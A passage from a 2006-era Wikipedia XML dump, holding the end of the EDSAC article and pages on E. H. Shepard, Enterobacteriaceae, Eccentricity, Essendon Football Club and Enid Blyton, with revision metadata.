*In the 1960s EDSAC was used to gather numerical evidence about solutions to [[elliptic curve]]s, which led to the [[Birch and Swinnerton-Dyer conjecture]].

==Further developments==

EDSAC's successor, [[EDSAC 2]], was commissioned in 1958. In 1961 an EDSAC 2 version of [[Autocode]], an [[Algol]]-like high-level programming language for scientists and engineers, was developed by D. F. Hartley.

In the mid-60s, a successor to the EDSAC 2 was planned, but the move was instead made to the [[Titan (computer)|Titan]], a prototype Atlas 2&amp;mdash;the latter having been developed from the [[Atlas Computer]] of the [[Victoria University of Manchester|University of Manchester]], [[Ferranti]], and [[Plessey]].

==Notes==
&lt;!-- Instructions for adding a footnote: 
NOTE: Footnotes in this article use names, not numbers. See [[Wikipedia:Footnote3]] for details.
   1) Assign your footnote a unique name, for example TheSun_Dec9. 
   2) Add the macro {{ref|TheSun_Dec9}} to the place in the article where you want the new note.
   3) Take note of the name of the footnote that immediately proceeds yours in the article body. 
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   5) Multiple notes to the same reference won't work: you must insert two uniquely named ones.
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 --&gt;
# {{note|first-prog}} To be precise, EDSAC's first program printed a list of the [[square number|square]]s of the [[integer (computer science)|integer]]s from 0 to 99 inclusive.
# {{note|collate}} This instruction added the [[bitwise AND]] of the specified memory word and the multiplier register to the accumulator.

==External links==
{{commonscat|EDSAC}}
*[http://www.dcs.warwick.ac.uk/~edsac/ An EDSAC simulator] &amp;ndash; Developed by Martin Campbell-Kelly, Department of Computer Science, University of Warwick , England
*[http://www.cl.cam.ac.uk/UoCCL/misc/EDSAC99/ 50th Anniversary of EDSAC] &amp;ndash; Dedicated website at the University of Cambridge Computer Laboratory

==References==
* ''The Preparation of Programs for an Electronic Digital Computer'' by [[Maurice Wilkes]], [[David Wheeler]] and [[Stanley Gill]], Addison-Wesley, Edition 1, [[1951]]

[[Category:Early computers]]
[[Category:One-of-a-kind computers]]

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  <page>
    <title>E. H. Shepard</title>
    <id>10252</id>
    <revision>
      <id>40715802</id>
      <timestamp>2006-02-22T14:49:28Z</timestamp>
      <contributor>
        <username>Tv316</username>
        <id>523572</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/141.51.76.140|141.51.76.140]] to last version by Bastin8</comment>
      <text xml:space="preserve">'''Ernest Howard Shepard''' ([[December 10]] [[1879]]&amp;ndash; [[March 24]] [[1976]]) was a [[United Kingdom|British]] [[artist]] and book [[illustrator]]. He was known especially for his [[Anthropomorphism|human-like animals]] in illustrations for ''[[The Wind in the Willows]]'' by [[Kenneth Grahame]] and ''[[Winnie-the-Pooh]]'' by [[A. A. Milne]].

Shepard was born in [[St. John's Wood]], [[London]]. He served in the Army during [[World War I]], winning the [[Military Cross]] for bravery in the field. He sent jokes about the battles to [[Punch (magazine)|Punch]], and after the war joined the magazine, through which he eventually met Milne. He began his illustration career selling weekly cartoons to Punch. 

Shepard said that he modelled Pooh not on the toy owned by Christopher Robin, Milne's son, but on a stuffed bear, &quot;Growler&quot;, owned by his own son. (&quot;Growler&quot; no longer exists, having been destroyed by Shepard's dog.) His Pooh work is so famous that 300 of his preliminary sketches were exhibited at the [[Victoria and Albert Museum]] in [[1969]], when he was 90 years old. 

Shepard wrote two autobiographies: ''Drawn from Memory'' (1957) and ''Drawn From Life'' (1962).

==External links==
*[http://www.classicpooh.net/akre2.htm Biography of E. H. Shepard] at classicpooh.net


[[Category:1879 births|Shepard, E. H.]]
[[Category:1976 deaths|Shepard, E. H.]]
[[Category:British illustrators|Shepard, E. H.]]
[[Category:Winnie-the-Pooh|Shepard, E. H.]]

[[he:&amp;#1488;&amp;#1512;&amp;#1504;&amp;#1505;&amp;#1496; &amp;#1513;&amp;#1508;&amp;#1488;&amp;#1512;&amp;#1491;]]
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  </page>
  <page>
    <title>Enterobacteriaceae</title>
    <id>10253</id>
    <revision>
      <id>37289876</id>
      <timestamp>2006-01-30T01:12:48Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgrey
| name = Enterobacteria
| regnum = [[Bacterium|Bacteria]]
| phylum = [[Proteobacteria]]
| classis = Gamma Proteobacteria
| ordo = '''Enterobacteriales'''
| familia = '''Enterobacteriaceae'''
| familia_authority = Rahn, 1937
| subdivision_ranks = Genera
| subdivision = 
See text.
}}
The '''Enterobacteriaceae''' are a large family of [[bacterium|bacteria]], including many of the more familiar [[pathogen]]s, such as ''[[Salmonella]]'' and ''[[Escherichia coli]]''.  Genetic studies place them among the [[Proteobacteria]], and they are given their own order (Enterobacteriales), though this is sometimes taken to include some related environmental samples.

Members of the Enterobacteriaceae are rod-shaped, and are typically 1-5 &amp;mu;m in length.  Like other Proteobacteria they have [[Gram-negative]] stains, and they are [[facultative anaerobe]]s, [[fermentation|fermenting]] sugars to produce [[lactic acid]] and various other end products.  They also reduce [[nitrate]] to [[nitrite]].  Unlike most similar bacteria, Enterobacteriaceae generally lack [[oxidase]], although there are exceptions (e.g. ''[[Plesiomonas]]'').  Most have many [[flagellum|flagella]] used to move about, but a few genera are non-motile.

Many members of this family are a normal part of the [[gut flora]] found in the [[intestines]] of humans and other animals, while others are found in water or soil, or are [[parasites]] on a variety of different animals and plants.  ''[[Escherichia coli]]'', better known as ''E. coli'', is one of the most important [[model organism]]s and its [[genetics]] and [[biochemistry]] have been closely studied.

The following genera are included here:

*''[[Alishewanella]]''
*''[[Alterococcus]]''
*''[[Aquamonas]]''
*''[[Aranicola]]''
*''[[Arsenophonus]]''
*''[[Azotivirga]]''
*''[[Candidatus]]'' 
*''[[Blochmannia]]''
*''[[Brenneria]]''
*''[[Buchnera]]''
*''[[Budvicia]]''
*''[[Buttiauxella]]''
*''[[Cedecea]]''
*''[[Citrobacter]]''
*''[[Dickeya]]''
*''[[Edwardsiella]]''
*''[[Enterobacter]]''
*''[[Erwinia]]'', e.g. ''[[Erwinia amylovora]]''
*''[[Escherichia]]'', e.g. ''[[Escherichia coli]]''
*''[[Ewingella]]''
*''[[Grimontella]]''
*''[[Hafnia]]''
*''[[Klebsiella]]'', e.g. ''[[Klebsiella pneumoniae]]''
*''[[Kluyvera]]''
*''[[Leclercia]]''
*''[[Leminorella]]''
*''[[Moellerella]]''
*''[[Morganella]]''
*''[[Obesumbacterium]]''
*''[[Pantoea]]''
*''[[Pectobacterium]]''
*''Candidatus'' [[Phlomobacter]]
*''[[Photorhabdus]]''
*''[[Plesiomonas]]'', e.g. ''[[Plesiomonas shigelloides]]''
*''[[Pragia]]''
*''[[Proteus (bacterium)|Proteus]]'', e.g. ''[[Proteus vulgaris]]''
*''[[Providencia (bacterium)|Providencia]]''
*''[[Rahnella]]''
*''[[Raoultella]]''
*''[[Salmonella]]''
*''[[Samsonia]]''
*''[[Serratia]]'', e.g. ''[[Serratia marcescens]]''
*''[[Shigella]]''
*''[[Sodalis]]''
*''[[Tatumella]]''
*''[[Trabulsiella]]''
*''[[Wigglesworthia]]''
*''[[Xenorhabdus]]''
*''[[Yersinia]]'', e.g. ''[[Yersinia pestis]]''
*''[[Yokenella]]''

[[Category:Proteobacteria]][[Category:Enterobacteria|*]]

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{{Proteobacteria-stub}}</text>
    </revision>
  </page>
  <page>
    <title>ECG</title>
    <id>10254</id>
    <revision>
      <id>15908077</id>
      <timestamp>2002-08-28T08:59:38Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>redirect to new stub (was empty)</comment>
      <text xml:space="preserve">#REDIRECT [[Electrocardiogram]]</text>
    </revision>
  </page>
  <page>
    <title>Eccentricity</title>
    <id>10256</id>
    <revision>
      <id>40557768</id>
      <timestamp>2006-02-21T12:08:39Z</timestamp>
      <contributor>
        <username>Drat</username>
        <id>142227</id>
      </contributor>
      <comment>bypass redirect.</comment>
      <text xml:space="preserve">'''Eccentric''' is from the [[Greek language|Greek]] for ''out of the [[centre]]'', as opposed to [[concentric]], ''in the centre''.
* In [[mathematics]], '''[[Eccentricity (mathematics)|eccentricity]]''' is a parameter associated with every [[conic section]]. It can be thought of as a measure of how much the conic section deviates from being circular.
*For the eccentricity of a vertex in a graph,  see [[Distance (graph theory)]]
* In [[astrodynamics]], the '''[[Eccentricity (orbit)|eccentricity of an orbit]]''' can be calculated from [[orbital state vectors]] as an absolute value of [[eccentricity vector]] or using other methods based on [[orbital energy]] and [[angular momentum]].
* In [[mechanical engineering]], an '''[[Eccentric (mechanism)|eccentric]]''' is a [[wheel]] that rotates on an [[axle]] that is displaced from the focus of the circle described by the wheel &amp;mdash;in other words, a mechanical motion that can operate either as a [[cam]] or a [[crank]], depending upon how it is driven.
* In sport, '''[[Eccentric (Sport)|eccentric movements]]''' are those exercise movements involving the lengthening of muscle fibers. 
* In popular usage, '''[[Eccentricity (behavior)|eccentricity]]''' refers to unusual or odd [[behaviour]] on the part of a person, as opposed to being &quot;[[normal (behavior)|normal]]&quot;. There is a saying that &quot;If you're rich, you're eccentric; if you're poor, you're crazy.&quot;  See also [[List of people widely considered eccentric]].

{{disambig}}

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[[tr:Dışmerkezlik]]</text>
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  <page>
    <title>Essendon Football Club</title>
    <id>10257</id>
    <revision>
      <id>40678498</id>
      <timestamp>2006-02-22T06:11:58Z</timestamp>
      <contributor>
        <username>Lightdarkness</username>
        <id>130135</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/192.165.166.4|192.165.166.4]] ([[User talk:192.165.166.4|Talk]]) to last version by Lightdarkness</comment>
      <text xml:space="preserve">{{Infobox aus sport club | clubname = Essendon
| image = [[Image:Essendonfc logo small.png|center]]
| fullname = Essendon Football Club
| emblem = The Bombers
| strip = Black guernsey with red sash, black shorts, red and black hooped socks
| founded = [[1871]]
| sport = [[Australian rules football]]
| league =  [[Australian Football League]]
| ground =  [[Telstra Dome]]
| capacity =  50,000
| song = ''[[See the Bombers Fly Up]]''
| president = [[Neil McKissock]]
| coach = [[Kevin Sheedy]]
| season =  2005
| position = 13th of 16
}}'''Essendon Football Club''', nicknamed '''The Bombers''', is an [[Australian rules football]] club that is part of the [[Australian Football League]].  Formed in 1871 as a junior club and as a senior club in 1873, it is headquartered at the Essendon Recreation Reserve, commonly known as [[Windy Hill, Essendon|Windy Hill]] in the [[Melbourne]] [[suburb]] of [[Essendon, Victoria|Essendon]], but plays its home matches at the [[Telstra Dome]] and the [[Melbourne Cricket Ground]].

It is one of the richest, most popular, and most successful clubs in the league, with a new generation of fans springing up due to their recent success and the presence of charismatic players such as captain [[Matthew Lloyd]], superstar [[James Hird]] and forward [[Scott Lucas]].  It is coached by [[Kevin Sheedy]] (the longest serving currently active coach in the AFL, having held the position since [[1981]]), a famously crafty coach who in latter years has developed a persona as football's eccentric philosopher.

The club has worn a black guernsey with red sash as its uniform since 1873 (the longest period that any sporting club in the world has worn the same primary guernsey design).

==History==

===The Pre-[[Victorian Football League|VFL]] years ([[1871]] - [[1896]])===

Essendon was already a successful club in the [[Victorian Football Association|VFA]] before the VFL was formed in [[1897]]. The club was part of many innovations that shaped the modern game, as well as being the first to achieve several milestones. Essendon was involved in the first match where the goal umpires used white flags to signal scores, they were the first team to wear white shorts in away matches, and they were involved in the first match played on what would be considered by modern standards to be a full sized field. Essendon was also the first side to record ten goals in a single senior match, and one of its players, [[Charles Pearson]], was the first to bring the skill of overhead [[marking]] to the game.

The team performed very well in the VFA competition of the [[1890s]], winning four premierships in a row from [[1891]] through to [[1894]]. This on-field success is one of the factors that caused Essendon to be invited to take part in the break-away VFL competition, despite being relatively new to the VFA compared to some of the other teams involved, such as [[Melbourne Football Club|Melbourne]] and [[Geelong Football Club|Geelong]].

===From the formation of the VFL until the first world war ([[1897]] - [[1915]])===

Essendon tasted immediate success upon joining the new eight team VFL competition, winning the premiership in the first year of the competition. A grand final was not played in the first year, instead a round-robin system was employed between the top four teams, with Essendon finishing on top of the finals ladder.

The side was generally well performed during this period, winning a second premiership in [[1901]], becoming the first team to score over 1000 points in a season with 1085 in [[1901]] and winning their first back to back premierships in [[1911]] (a year in which they become the first side to score 20 goals in a match) and [[1912]]. The 1912 [[grand final]] was remarkable in that 54,000 people turned out to watch, which was a record for an Australian sporting event for the time.

Although the side had many great players during this period, perhaps the most remarkable was [[Albert Thurgood]], who in [[1899]] kicked a football in excess of 107 yards (98.48m), a record that still stands today.

===The years between the wars ([[1918]] - [[1938]])===

Essendon was one of several clubs not to field a side in [[1916]] and [[1917]] due to the war. By [[1922]], the side had taken on its modern nickname of &quot;the bombers&quot; (as well as &quot;the dons&quot;), dropping the nicknames of &quot;the same olds&quot;, &quot;the sash wearers&quot; and &quot;the Essendonians&quot; that had variously been used up until then.

One of Essendon's most famous sides, dubbed the &quot;mosquito fleet&quot;, won the premiership in [[1923]]. This side was so named due to the number of small, very fast players in the side: six of the premiership side were less than five and a half feet (167 cm) tall.

Essendon again managed to win back-to-back premierships in [[1924]]. This premiership was unusual because the league opted for a round robin system of finals rather than a grand final. The low crowds for the finals meant this was never attempted again, resulting in Essendon having the unique record of winning the only two premierships without a grand final.

The 1924 season was not without controversy however, with rumours of numerous players accepting bribes. Regardless of the accuracy of these allegations, the club's image was tarnished, and the side experienced its lowest period during the decade that followed, with poor results on the field and decreased support off it.

The [[1933]] season was probably the start of the Essendon revival, seeing the debut of the player widely regarded as Essendon's, if not the league's, greatest: [[Dick Reynolds]]. Reynolds had an immediate impact; in only his second season, aged only 19, he won the [[Brownlow Medal]], the league's highest individual honour. He later repeated that feat in [[1938]] and [[1939]]. His three Brownlow victories still stand as an equal record to this day.

===The Dick Reynolds years ([[1939]] - [[1960]])===

In [[1939]] Dick Reynolds was appointed captain of the side. Unlike today, it was not unusual for a side to have a playing coach, and midway through the season Reynolds also took over as coach. Regarded as having a sound tactical knowledge of the game and being an inspirational leader, he led the side into the finals in [[1940]] for the first time since [[1926]].

The club's rise continued over the following years, with the side winning premierships in [[1942]], [[1946]], [[1949]] and [[1950]]. Reynolds retired at the end of the 1950 season, handing the captaincy over to his close friend [[Bill Hutchinson]], who would also go onto win two Brownlow medals in [[1952]] and [[1953]]. Reynolds stayed on as a non-playing coach until [[1960]].

The 1949 season also saw the emergence of one of the great full forwards of the game in [[John Coleman]]. In his debut season, Coleman kicked 100 goals, an unprecedented feat. Coleman led the club in goal kicking every year until his early retirement through injury in [[1954]], additionally he still holds club records for most goals in a season (120 in 1950) and most goals in a match (14 in [[1954]]). In all he kicked 537 goals in only 98 matches; his ratio of 5.48 goals a game is the second best in the history of the league.

===The fall from grace ([[1961]] - [[1980]])===

John Coleman was appointed coach after the retirement of Dick Reynolds from the position, and the club enjoyed continued success, winning premierships in [[1962]] and [[1965]]. Coleman's time as coach turned out to be much like his playing career: highly successful but cut short when he had to stand down due to health problems in [[1967]].

After Coleman's retirement, the club hit tough times both on the field and off. Finals appearances were rare for the side, which was more often in contention for the wooden spoon (last place) than the premiership. During the period from [[1968]] until 1980, five different coaches were tried, with none lasting longer than four years.

Off the field the club went through troubled times as well. In [[1970]] five players went on strike before the season even began, demanding higher payments. 1980 proved an even more embarrassing year for the club, with new recruit [[Phil Carman]] making headlines for head butting an umpire. The tribunal suspended him for sixteen weeks, and although most people thought this was a fair (or even lenient) sentence, he took his case to the supreme court, gathering even more unwanted publicity for the club.

[[1976]] proved the only real highlight for Essendon supporters during this time, when ruckman [[Graham Moss]] won the Brownlow medal.

===The [[Kevin Sheedy]] years ([[1981]] - present)===

1981 again saw Essendon switching coaches, this time to Kevin Sheedy, a former [[Richmond Football Club|Richmond]] player who had only recently retired and had no senior coaching experience. Although he got off to a bad start, with the side on the bottom of the ladder early in the season, the team recorded 15 successive victories up until the end of the season, to make the finals in Sheedy's first year as coach.

Making the finals proved to be a habit of Sheedy's, with the side again making the finals in [[1982]], and then taking the next step and reaching the [[1983]] grand final. Although they were beaten by [[Hawthorn Football Club|Hawthorn]] by a then record margin, the [[1984]] result proved to be different. With Hawthorn leading by four goals at three-quarter time, it appeared certain that Hawthorn would win back-to-back premierships. Sheedy pulled some of his now famous positional moves, and the Essendon side that had appeared to have no hope suddenly looked the better of the two sides, eventually winning by four goals. The [[1985]] side repeated the result, this time soundly beating the Hawthorn side.

These results had many media commentators talking about an Essendon dynasty, especially since the side had some of Essendon's greatest ever players in [[Tim Watson]], [[Simon Madden]] and [[Terry Daniher]] in the prime of their careers. This failed to eventuate for a number of reasons, injury and the retirements of some of the supporting players amongst them.

Despite this, by [[1990]] Essendon again made the grand final, losing heavily to [[Collingwood Football Club|Collingwood]]. By this stage most of the more experienced players were nearing retirement, and with few obvious replacements, [[1991]] and [[1992]] were not great years by the standards previously set during Sheedy's time in charge.

For that reason it was of great surprise to most in the footballing world when in one of the most even seasons ever, Essendon defeated Carlton in a landslide to win the [[1993]] premiership. The side became known as the &quot;baby bombers&quot;, as the core of the side was made up of young, inexperienced players just starting their careers. One of them, [[Gavin Wanganeen]], won the Brownlow medal that year.

Around this time period saw a transition of the club off the field. Moving from its traditional home ground, [[Windy Hill]], to the larger and more modern [[Melbourne Cricket Ground|MCG]] saw the side massively expand the crowds at its home games. This move, combined with shrewd marketing, particularly from coach Kevin Sheedy, and continued on field success has seen Essendon become one of the financial powerhouses of the competition. Although many Victorian clubs struggle, requiring AFL assistance to make ends meet, Essendon has consistently made a sizeable profit year after year.

After the success of 1993, many fans were disappointed in the performances in the following years, despite making the finals most years. In [[1996]], the side missed the grand final by a point, but received some compensation when [[James Hird]] won the Brownlow medal. By [[1998]], there were many calling for Kevin Sheedy to be replaced, and eventually this resulted in the coaching panel to be expanded, with Sheedy's assistant coaches taking on a greater role. This appeared to work, with Essendon finishing on top of the ladder in [[1999]], only to again miss out on the grand final by one point. This was the fourth final lost by a point under Sheedy, which some used as evidence to support the view that the side had underachieved under his coaching.

The [[2000]] season proved to be the best Essendon, or indeed any side in the league, has ever produced. Essendon lost only one game during the home-and-away season, and went unbeaten through the finals to win a record equalling 16th premiership. The side looked set to repeat this success the following year, but late season injuries took their toll, and an in-form [[Brisbane Lions|Brisbane]] side defeated them in the grand final.

In the three years from [[2002]] to [[2004]], Essendon has finished sixth each year. That many fans view finishing sixth in a sixteen team competition to be a failure exemplifies the expectations the side's continued success under Sheedy has brought.

During 2004, Sheedy signed a new three year contract, by the end of which he will be second on the list of most VFL/AFL games coached behind [[Collingwood Football Club|Collingwood's]] [[Jock McHale]].

Season 2005 saw Essendon produce their worst ever season under Sheedy's coaching reign finishing the 2005 AFL Season in 13th position on the AFL ladder with 8 wins and 14 losses and missed the AFL Finals for the first time since 1997. On September 27, it was announced that [[Matthew Lloyd]] would replace James Hird as Essendon captain for AFL Season 2006, marking the end of Hird's reign since he took over the captaincy in 1998.

Even with the failure of 2005, Essendon have played finals in 19 out of 25 seasons under Sheedy, with six top of the ladder finishes, seven grand final appearances and four premierships.

==Major rivalries==

* [[Carlton Football Club|Carlton]] - With the teams sharing the record of 16 premierships, both sides are keen to become outright leader, or if out of the finals race, at least ensure the other doesn't.
* [[Collingwood Football Club|Collingwood]] - The match that has been played on [[Anzac Day]] between these two sides since [[1995]] is described as the second biggest match of the season, behind only the Grand Final.  Regardless of the two clubs position of the ladder this game always sells out the 90,000 seat [[MCG]].
* [[Hawthorn Football Club|Hawthorn]] - The two sides had a number of physical encounters in the mid-[[1980s]] when they were the top two sides of the competition. The rivalry was exacebated when [[Dermott Brereton]] ran through Essendon's three-quarter time huddle during a match in [[1988]] and again by an all in brawl during a match in [[2004]] allegedly instigated by Brereton.  This was reminiscent of a similar brawl in the [[1985]] grand final.
* [[West Coast Eagles]] - Since Essendon coach [[Kevin Sheedy]] famously waved his jacket over his head following a close victory over the Eagles in [[1993]], it has become a tradition for the winning side's supporters to do the same after a match between the two sides. If one team is winning by a considerable margin, the coat waving has been known to begin well before the match ends.  Essendon away games against West Coast always sell out the 45,000 seat [[Subiaco Oval]].

==Membership Base==
Essendon is one of the most supported Victorian clubs, with a membership of 35,398 in 2005.

==[[List of Australian Football League premiers|VFL/AFL Premierships]]==

[[1897]], [[1901]], [[1911]], [[1912]], [[1923]], [[1924]], [[1942]], [[1946]], [[1949]], [[1950]], [[1962]], [[1965]], [[1984]], [[1985]], [[1993]], [[2000]].

==Individual Awards==

===[[Best and Fairest]]===
: See [[Crichton Medal]]

===[[Brownlow Medal]] winners===
* [[Dick Reynolds]] ([[1934]], [[1937]] &amp; [[1938]])
* [[Bill Hutchison]] ([[1952]] &amp; [[1953]]) 
* [[Graham Moss]] ([[1976]])
* [[Gavin Wanganeen]] ([[1993]])
* [[James Hird]] ([[1996]])

===[[Leigh Matthews Trophy]] winners===
* [[Terry Daniher]] ([[1983]])
* [[Tim Watson]] ([[1989]])

===[[Coleman Medal]] winners===
* [[Ron Evans]] (1959, 1960)
* [[Ted Fordham]] (1966)
* [[Matthew Lloyd]] (2000, 2001, 2003)

===[[Norm Smith Medal]] winners===
*[[Billy Duckworth]] (1984)
*[[Simon Madden]] (1985)
*[[Michael Long]] (1993)
*[[James Hird]] (2000)

===[[Michael Tuck Medal]] winners===
*[[Gavin Wanganeen]] (1993)
*[[Gary O'Donnell]] (1994)
*[[Mark Mercuri]] (2000)

===[[Mark of the Year]] winners===
*[[Gary Moorcroft]] (2001)

==Team of the Century==

To celebrate the 125th anniversary of the club, as well as 100 years of the VFL/AFL, Essendon announced its &quot;Team of the Century&quot; in [[1997]].

{{Aussie rules team | title = Essendon Team of the Century
| backpocket1 = [[Gavin Wanganeen]]
| fullback = [[Fred Baring]]
| backpocket2 = [[Tom Fitzmaurice]]
| halfbackflank1 = [[Barry Davis]]
| centrehalfback = [[Wally Buttsworth]]
| halfbackflank2 = [[Harold Lambert]]
| wing1 = [[Reg Burgess]]
| centre = [[Jack Clarke]]
| wing2 = [[Michael Long]]
| halfforwardflank1 = [[James Hird]]
| centrehalfforward = [[Ken Fraser]]
| halfforwardflank2 = [[Terry Daniher]]
| forwardpocket1 = [[Bill Hutchison]]
| fullforward = [[John Coleman]]
| forwardpocket2 = [[Albert Thurgood]]
| ruck = [[Simon Madden]]
| ruckrover = [[Tim Watson]]
| rover = [[Dick Reynolds]] (Captain)
| interchange1 = [[Mark Thompson]]
| interchange2 = [[Keith Forbes]]
| interchange3 = [[Frank Maher]]
| interchange4 = [[William Griffith]]
| interchange5 = 
| interchange6 = 
| coach = 
}}

==Champions of Essendon==

In 2002, a club panel chose and ranked the 25 greatest players to have played for Essendon.

# [[Dick Reynolds]]
# [[John Coleman]]
# [[James Hird]]
# [[Bill Hutchinson]]
# [[Simon Madden]]
# [[Tim Watson]]
# [[Ken Fraser]]
# [[Jack Clarke]]
# [[Albert Thurgood]]
# [[Tom Fitzmaurice]]
# [[Terry Daniher]]
# [[Wally Butsworth]]
# [[Reg Burgess]]
# [[Bill Busbridge]]
# [[Barry Davis]] 	
# [[Keith Forbes]]
# [[Graham Moss]]
# [[Mark Harvey]]
# [[Gavin Wanganeen]]
# [[Mark Thompson (footballer)|Mark Thompson]]
# [[John Birt (footballer)|John Birt]]
# [[Matthew Lloyd]]
# [[Michael Long]]
# [[Fred Baring]]
# [[Harold Lambert]]

==Club Honours==

''See [[Essendon Football Club honours]].

==Corporate==

===Presidents===
Current president:
*[[Neil McKissock]]

===Sponsors===
*[[Don Smallgoods]] (1977-1983)
*[[Nubrik]] (1984-1993)
*[[Transport Accident Commission]] &quot;Speed Kills&quot; (1994-2000)
*[[Hutchison Telecoms]] &quot;Orange&quot; (2001-02) &quot;[[3 Mobile]]&quot; (2003-present)

==See also==
*[[:Category:Essendon Bombers players|Wikipedia listing of Essendon Football Club players]]
*[[:Category:Essendon Football Club coaches|Wikipedia listing of Essendon Football Club coaches]]

==External links==
* [http://www.essendonfc.com.au/ Official Website of the Essendon Football Club]
* [http://www.bomberblitz.com/ BomberBlitz.com - The Official Unofficial Website of the Essendon Football Club]
* [http://bombersfc.com.au/ The Official AFL website of the Essendon Football Club]
* [http://www.fullpointsfooty.net/Essendon_part_1.htm History of the Essendon Football Club]

{{AFL}}

[[Category:Australian Football League clubs]]
[[Category:Sporting clubs in Melbourne]]</text>
    </revision>
  </page>
  <page>
    <title>Enid Blyton</title>
    <id>10258</id>
    <revision>
      <id>40563017</id>
      <timestamp>2006-02-21T13:17:54Z</timestamp>
      <contributor>
        <ip>59.94.99.116</ip>
      </contributor>
      <text xml:space="preserve">'''Enid Mary Blyton''' ([[August 11]], [[1897]] &amp;ndash; [[November 28]], [[1968]]) was a [[United Kingdom|British]] [[List of children's literature authors|children's author]]. She is noted particularly for numerous series of books, based on recurring characters and designed for different age groups.

Her prolific output involves mainly children's fantasy, which sometimes involves the supernatural. Her books were immensely popular in Britain, India and [[Australia]] and have remained popular.  They were translated into 40 languages, including [[Malay language|Malay]], [[Spanish language|Spanish]], [[French language|French]], [[Finnish language|Finnish]], [[German language|German]], [[Japanese language|Japanese]] and [[Hebrew language|Hebrew]]. Translated versions became and have remained extremely popular in many parts of Europe and Asia.

==Most popular works==
[[Image:The Magic Faraway Tree.jpg|thumb|100px|right]]

Best known of her works are:
* the [[Noddy]] books
* [[The Famous Five (characters)|The Famous Five]]
* [[The Five Find-Outers]] (also known as the 'Mystery Series')
* [[The Adventure Series]]
* [[The Secret Seven]]
* [[Malory Towers]]
* [[St. Clare's|The St. Clare's series]]
* [[The Naughtiest Girl series|The Naughtiest Girl series]]
* [[The Magic Faraway Tree series]]
* [[The Wishing-Chair series]]
* [[The Circus Series]]
* [[The Barney Mystery Series]]
* [[The Farm Series]]

==Other works==

[[Image:Enid Blyton Bible Stories.jpg|thumb|100px|right]]

She wrote hundreds of other books for young and older children. She also filled a large number of magazine pages, particularly the long-running ''Sunny Stories''. 
An estimate puts her total book publication at around 600 titles, not including decades of magazine writing. It is said at one point she produced 10,000 words a day. 

Such astonishingly prolific output led many to believe that some of her work was ghost-written. No [[ghost writer]]s have come forward. She used a [[pseudonym]] '''Mary Pollock''' for a few titles (middle name plus first married name). In her last few years of life she suffered from [[Alzheimer's Disease]]. The last volumes in her most famous series were published in 1963. Many books still appeared, but were mainly story books made up from re-cycled work.

Not all of her output was fiction. For example, her series of [[arithmetic]] books were for many years the standard in [[primary school]]s in the [[UK]]. She also wrote numerous books on nature and Biblical themes.

== Subject matter==

Blyton's books managed to tap into the dreams of pre-pubescent children. The code words are 'mystery' and 'adventure'. Children are free to play and explore without adult interference, more clearly than in most authors before or since. Adult characters are usually either authority figures such as policemen, teachers, or parents, or adversaries to be conquered by the children.  The children are often self-sufficient, spending whole days, or even more than one day, away from home. This theme is taken to its extreme in ''The Secret Island'', wherein a group of children run away from uncaring guardians to live on an island together, making a home and fending for themselves until their parents return.

Blyton's books are generally split into three types. One involves ordinary children in extraordinary situations; having adventures, solving crimes, or otherwise finding themselves in unusual circumstances. Examples include the Famous Five and Secret Seven, and the Adventure series. The second type is the [[boarding school story]]; the plots of these are usually less extraordinary than the first type, with more emphasis on the day-to-day life at a boarding school. This is the world of the midnight feast, the practical joke, and the social interaction of the various types of character that can be found at school. Examples of this type are the Malory Towers stories, the St Clare's series, and the Naughtiest Girl books.

The third type is the fantastical. Children are typically transported into a magical world in which they meet fairies, goblins, elves, or other fantastical creatures. Examples of this type are the Wishing-Chair books and the Magic Faraway Tree.

==Controversies==

[[Image:The Three Golliwogs.jpg|thumb|100px|right|Cover of ''The Three Golliwogs'', in which the golliwogs are the heroes.]]

The books are very much of their time, particularly the [[1950s]] titles. They reflect a none-too-subtle version of Britain's class system, as in rough versus well-behaved. Undoubtedly present are some stereotypes on gender. Some argue, from a current perspective, that the portrayal of [[golliwog]]s, amongst others, was [[racism|racist]]. On the other hand, the Famous Five displayed a remarkably modern equality of teamwork  between the sexes, and while golliwogs often appeared as villains in the ''Noddy'' books, elsewhere in her fantasy works they appeared as the heroes.

It was frequently reported, in the 1950s and also from the [[1980s]] onwards, that various children's libraries removed some of Blyton's works from the shelves. The history of such 'Blyton bans' is confused. Some librarians certainly at times felt that Blyton's restricted use of language, a conscious product of her teaching background, militated against appreciation of more literary qualities. There was some precedent, in the treatment of [[L. Frank Baum]]'s ''Oz'' books (and the many sequels, by others) by librarians in the [[USA]] in the 1930s.

Much play has been made of naive language permitting ''[[double entendre]]'' (e.g. a tendency to imagine sexual connotations, for instance, Noddy &quot;jumping into bed&quot; with Big Ears, another character, clearly not intended by the author. The &quot;Magic Faraway Tree&quot; series contains characters called Dick and Fanny also (changed to &quot;Rick&quot; and &quot;Frannie&quot; in modern reprints)). This is probably journalistic froth. This whole area is subject to [[urban myth]]s and the carefree retelling in newspapers of anecdotes as factual (recycling the old press cuttings, in fact) making it somewhat difficult to discern the truth.

A more careful account of anti-Blyton attacks is given in Chapter 4 of Robert Druce's ''This Day Our Daily Fictions''. The ''British Journal of Education'' in [[1955]] carried a piece by Janice Dohn, an American children's librarian, considering Blyton's writing together with authors of [[formula fiction]], and making negative comments about Blyton's devices and tone. A [[1958]] article in ''Encounter'' by [[Colin Welch]], directed against the [[Noddy]] character, was reprinted in a [[New Zealand]] librarians' periodical. This gave rise to the first rumour of a New Zealand 'library ban' on Blyton’s books, a recurrent press [[canard]]. Policy on buying and stocking Blyton's books by British public libraries drew attention in newspaper reports from the early [[1960s]] to the end of the [[1970s]], as local decisions were made by a London borough, Birmingham, Nottingham and other central libraries. There is no evidence that her books' popularity ever suffered. She was defended by populist journalists, and others; left-of-centre newspapers ran articles condemning her work, with a piece in [[1966]] in ''[[The Guardian]]'' claiming that Blyton wrote more insidiously dangerous right-wing literature than that published by British [[fascist]] groups.

